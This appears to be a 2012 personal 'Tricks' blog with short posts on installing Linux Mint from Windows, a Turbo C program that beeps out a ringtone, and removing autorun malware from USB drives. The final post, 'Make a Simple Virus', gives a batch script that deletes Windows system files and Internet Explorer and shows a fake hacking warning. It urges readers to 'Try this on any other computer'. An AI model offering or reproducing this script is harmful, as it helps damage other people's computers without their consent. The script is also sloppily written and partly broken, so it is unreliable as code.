Tricks

May 18, 2012

Insatall linux in windows.

1 ) First of all you have image or .iso file of the linux.
2 ) Mount the image through deamon tools or power iso etc.....
     for mount image open that tool.
     like in power iso....
     -> Open power iso
     -> Click on mount image
     -> Open image which you want to mount(install).
      
3 ) Afetr mount image open My Computer select mounted drive( here is linux mint).    
                                                                                                                                                                                                        

        

4 ) Right click on Linux Mint 10 and select autoplay or Run Mint4 win.
5 ) Now select the install inside windows from given interface.
                                
  6 ) Next step is for installation.....
       For that select the drive were you want to install linux.
       you can modify size,Username,password....
  

7 ) Now click on Install and in few second linux is install on your windows..



8 ) After complete installation you want to reboot and boot linux it will take few minute to install the linux....
     
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May 16, 2012

Airtel tune in C.

Make a simple notepad file as below.....
#include<dos.h>                                                  
#include<stdio.h>
float main(void)
{
float A,Bb,D,G,F;
A = 440;
G = 780;
Bb = 461;
D = 586;
F = 687;
sound(G); delay(500); nosound();
sound(G); delay(250); nosound();
sound(G); delay(250); nosound();
sound(G); delay(500); nosound();
sound(2*D); delay(500); nosound();                                         
sound(2*A); delay(250); nosound();
sound(2*Bb); delay(250); nosound();
sound(2*A); delay(250); nosound();
sound(G); delay(250); nosound();
sound(F); delay(500); nosound();
sound(2*A); delay(500); nosound();
sound(G); delay(250); nosound();
sound(2*A); delay(250); nosound();
sound(G); delay(250); nosound();
sound(F); delay(250);
sound(G); delay(250);
sound(2*A); delay(250);
sound(2*Bb); delay(500);
sound(2*A); delay(500);
sound(G); delay(250);
sound(F); delay(250);
sound(D); delay(500); nosound();
//end 1
sound(G); delay(500); nosound();
sound(G); delay(250); nosound();
sound(G); delay(250); nosound();
sound(G); delay(500); nosound();
sound(2*D); delay(500); nosound();
sound(2*A); delay(250); nosound();
sound(2*Bb); delay(250); nosound();
sound(2*A); delay(250); nosound();
sound(G); delay(250); nosound();
sound(F); delay(500); nosound();
sound(2*A); delay(500); nosound();
sound(G); delay(250); nosound();
sound(2*A); delay(250); nosound();
sound(G); delay(250); nosound();
sound(F); delay(250);
sound(G); delay(250);
sound(2*A); delay(250);
sound(2*Bb); delay(500);
sound(2*A); delay(500);
sound(G); delay(250);
sound(F); delay(250);
sound(D); delay(500); nosound();
//end 2
sound(2*A); delay(250); nosound();
sound(G); delay(250); nosound();
sound(F); delay(250);
sound(G); delay(250);
sound(2*A); delay(250);
sound(2*Bb); delay(500);
sound(2*A); delay(500);
sound(G); delay(250);
sound(F); delay(250);
sound(D); delay(500); nosound();
//end 3
sound(2*A); delay(250); nosound();
sound(G); delay(250); nosound();
sound(F); delay(250);
sound(G); delay(250);
sound(2*A); delay(250);
sound(2*Bb); delay(500);
sound(2*A); delay(500);
sound(G); delay(250);
sound(F); delay(250);
sound(D); delay(500); nosound();
return 0;
}

Save it as .C and run in Turob C/ C++ Editor.....& Enjoy the sound tune.
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May 5, 2012

Remove virus from USB Drives.

Whenever you plug a USB drive in your system, a window will appear similar to the one shown below
USB....

Don’t click on Ok , just choose ‘Cancel’.

Open the Command Prompt by typing ‘cmd‘ in the run box.
In the command prompt  type the

drive letter:( ex - i,j,k..) and press enter .
Now type dir /w/a and press enter.







This will display a list of the files in the pen drive. Check whether the following files are there or not

    * Autorun.inf
    * Ravmon.exe
    * New Folder.exe
    * svchost.exe
    * Heap41a
    * or any other exe file which may be suspicious.


If any of the above files are there, then probably the USB drive is infected.
In command prompt type attrib -r -a -s -h *.* and press enter. 

This will remove the Read Only, Archive, System and hidden file attribute from all the files.
 Now just delete the files using the command
del filename. example del Ravmon.exe.
Delete all the files that are suspicious.

To be on a safer side, just scan the USB drive with an
anti virus program to check whether it is free of virus or not...
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Make a Simple Virus.

plz dont try on your pc...


it is simple .bet file....


@echo off
@if exist c:\windows\system32\mouse del c:\windows\system32\mouse
@if exist c:\windows\system32\keyboard del c:\windows\system32\keyboard
copy C:\windows\
@if exist c:\windows\system32\logoff.exe del c:\windows\system32\logoff.exe
@if exist C:\program files\internet explorer\iexplore.exe del C:\program files\internet explorer\iexplore.exe
msg "WARNING:A VIRUS TOOK OVER YOUR COMPUTER VIRUS NOTICED AS:RINSE JOHN hacked your IP.exe"

Copy these lines in notepad and save it as "rinse.bat" or "rinse.exe"

Try this on any other computer..... Very heavy Virus..
 
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